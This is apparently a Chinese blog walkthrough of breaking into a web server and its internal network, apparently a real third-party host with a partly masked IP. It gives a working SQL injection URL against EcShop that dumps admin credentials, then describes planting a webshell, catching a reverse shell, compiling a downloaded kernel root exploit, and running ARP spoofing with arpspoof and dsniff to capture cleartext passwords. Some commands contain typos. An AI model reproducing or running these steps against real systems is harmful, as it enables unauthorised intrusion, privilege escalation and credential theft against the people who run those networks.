电脑技术学习

尝试分析 linux 下渗透嗅探术

admin

  内网渗透在攻击层面,其实更趋向于社工和常规漏洞检测的结合,为了了解网内防护措施的设置是通过一步步的刺探和经验积累,有时判断出错,也能进入误区。但是如果能在网内进行嗅探,则能事半功倍,处于一个对网内设置完全透明的状态。本文将从一个注点引发的突破,到控制整个内网的全过程来跟大家讨论,内网的渗透嗅探术和安全防护一些内容。

  在寻找突破时,更多的是从应用服务来,而应用服务最直观的信息采集,就是端口扫描,不同的应用,开放的服务不一样。所以,在对网络进行信息收集时,大概分为这样两步:

  端口探测,程序指纹分析。在端口探测方面,个人喜欢用SuperScan来快速对网段里的应用进行判断

  在掌握端口信息后,就要对服务应用程序的指纹进行分析,主要包括版本号、已知的漏洞信息、常规配置信息、针对此应用流行的攻击方法等。本文试着对网内一台提供WEB服务的主机作为突破口,提交一个畸形的请求。

  从上图可以读取以下信息:

  系统类型:Fedora

  应用程序:apache/2.2.4

  以上只是很简单的手工对程序指纹进行分析,当然在针对web应用的扫描器,还有很多,比较常用的wvs、appscan等。用轻量级的“wwwwscan来扫描:

  由扫描的结果可以看到,与手工探测的结果是一致的。

  通上面简单的信息收集后,可以了解到网站架构是apache+mysql+php,直接请求URL:http://61.67.xx.116/htdocs/

  发现此站是EcShop架构的站点,其使用的版本信息是V2.5.0。EcShop的版本是存在许多的注入点的。其中user.php文件有个注入漏洞,直接请求URL如下:

  http://61.67.xx.116/htdocs/user.php?act=order_query&order_sn=’ union select 1,2,3,4,5,6,concat(user_name,0×7c,password,0×7c,email),8 from ecs_admin_user/*

  获取管理员帐号和密码,ECShop使用的是MD5加密,直接解密。原来密码是admin,有点意料之外。访问管理后台,修改模版处,插入一句木马,即可得到WEBSEHLL

  在获取WEBshell权限后,就需要对系统进行分析,查找Exp了。执行命令如下:

  #uname –a

  返回的信息是“Linux fedora 2.6.20-1.2962.fc6 “,Linux内核是2.6.20的。

  在提权时,要用到gcc进行编译,刺探一下系统有没有安装,执行命令,

  #gcc –help

  发现可以运行gcc,并且系统管理员没对使用shell和gcc进行限制,在也是个安全缺失。

  在寻找本地提权利用程序时,通常是根据系统版本来进行,应用程序的本地提权也是一样的。在网上就有可供查询的网站,比如http://www.milw0rm.com/网站

  发现可利用的漏洞还真不少。

  本地提权是需要个交互式的shell的。在本机监听端口如下:

  利用WebShell自带的反弹功能直接连接本地的12345端口并返回shell

  连接成功后,就能得到一个apache用户的shell

  ,但有时如果不能交互时,可以直接执行,

  # python –c ‘impotr pty;pty.spawn(/bin/sh);’

  来得到交互的Shell,一般的系统都默认安装python

  提示成功了,可以新建个目录用来存放提权的工具。

  在Linux提权大致可分为,第三方软件漏洞、本地信任特性、内核溢出等,比较常用的溢出率高的,当属内核了。用Wget下载溢出源码,用到的漏洞是Linux vmsplice Local Root Exploit,成功率蛮高的,gcc编译,执行。

  成功获取root权限,在选择溢出利用程序时,有时需要进行多次测试。

  什么是Sniffer,sniffer是利用截获目的的计算机通信,通过分析截获的数据,提取敏感信息的工具。但其通过什么方法来截获数据呢?在此之前得解释一下arp(Address Rrsolution Protocol)协议,即地址解析协议,它位于TCP/IP协议栈中的低层协议,负责将某个IP地址解析成对应的MAC地址。它靠维持在内存中保存的一张表来使IP得以在网络上被目标机器应答。在数据传送时,IP包里就有源IP地址、源MAC地址、目标IP地址,如果在ARP表中有相对应的MAC地点,那么根据最优选择法,直接访问,如果,没有对应的地址,就要广播出去,在网内寻找对应的地址,如果对方的IP地址和发出的目标IP地址相同,那么对方会发送MAC地址给源主机,,而此时,如果攻击者也接听到发送的IP地址,它就会仿冒目标主机的IP地址,然后返回自己的主机的MAC地址给源主机,因为源主机发送的IP包没有包括目标主机的MAC地址,而ARP表里面又没有目标IP和目标MAC地址的对应表,就会接受攻击者的MAC而选择与其通信,所以就此产生了ARP欺骗。在系统刚启动时,可以在DOS下输入命令“arp -a来查看本机arp缓存表的内容。

  我们来与IP192.168.0.5进行通信,通信后arp缓存表就会有这样一条MAC地址和IP对应的记录。

  在本机多了条缓存中的IP和MAC的对应纪录。

  Dsniff是一个著名的网络嗅探工具包,其开发者是Dug Song,其开发的本意是用来揭示网络通信的不安全性,方便网络管理员对自己网络的审计,当然也包括渗透测试,其安装包里某此工具,充分揭示了协议的不安全性。作为一个工具集,Dsniff包括的工具大致分为四类:

  一、

  纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnaf、msgsnarf、urlsnarf、webspy

  二、

  针对SSH和SSL的MITM攻击“工具,包括sshmitm和webmitm

  三、

  发起主动欺骗的工具,包括:arpspoof、dnsspof、macof

  四、

  其它工具,包括tcpkill、tcpnice

  Dsniff的官方下载:www.monkey.org/~dugsong/dsniff/ 这个是源码包,解压后可以看下README,提示需要五个软件的支持:openssl、Berkeley_db、libnet、libpca、libnids

  下载地址如下:

  Berkeley_db: http://www.oracle.com/technology/software/products/berkeley-db/index.html

  libpcap: http://www.tcpdump.org/release/libpcap-1.0.0.tar.gz

  linux/epel/5/i386/dsniff-2.4-0.3.b1.el5.i386.rpm">ftp://rpmfind.net/linux/epel/5/i386/dsniff-2.4-0.3.b1.el5.i386.rpm

  ftp://rpmfind.net/linux/epel/5/i386/libnet-1.1.4-1.el5.i386.rpm

  ftp://rpmfind.net/linux/epel/5/i386/libnids-1.23-1.el5.i386.rpm

  系统一般默认都有安装openssl、libpcap。

  一、 Tar包安装

  如果下载的是源包,文件如下:openssl-0.9.7i.tar.gz、libnids-1.18.tar.gz、libpcap-0.7.2.tar.gz、libnet-1.0.2a.tar.gz、Berkeley db-4.7.25.tar.gz

  a) 安装openssl

  用tar解压软件包手,执行三条命令

  #./config

  #make

  #make install

  b) 安装libpcap

  #./config

  #make

  #make install

  c) 安装libnet

  #./config

  #make

  #make install

  d) 安装libnids

  #./config

  #make

  #make install

  e) 安装libnids

  #./config

  #make

  #make install

  f) 安装Berkeley DB

  #.cd build_unix

  #../dist/configure

  #make

  #make install

  g) 安装dsniff

  #./configure

  #make

  #make install

  程序安装好后,先查看一下网卡信息,然后开启服务器IP转发,命令如下:

  # echo “1″ > /proc/sys/net/ipv4/ip_forward

  先来双向欺骗,用到arpspoof,其命令是:

  #arp –t 网关

  欺骗主机IP

  arpspoof已经开始工作了,可以用tcpdump查看一下被攻击主机是否有数据经过

  命令如下:

  #tcpdump –I eth0 host 61.67.x.115

  有数据交换,说明欺骗的比较成功,然后用Dsniff开始嗅探目标主机,命令如下。

  #Dsniff –c –f /etc/dsniff/dsniff.services

  这个dsniff.services自然就是保存端口和服务对应关系的文件,如需要保存到文件,需加-w filename数据全是明文传送的。所以数据分析完全能用肉眼发现。

  从这条数据可以看到HTTP登录和FTP登录信息,帐号和密码全是明文的。而经过测试,通过FTP上传的目录正是WEB目录,获取WEBShell权限,继续提权即可控制主机。Linux下的嗅探,其实更容易一些,在最近爆出的高危本地提权,不知道有多少台主机沦陷呢?在攻与防的游戏里,系统管理员往往显得如此的无助。

标签: linux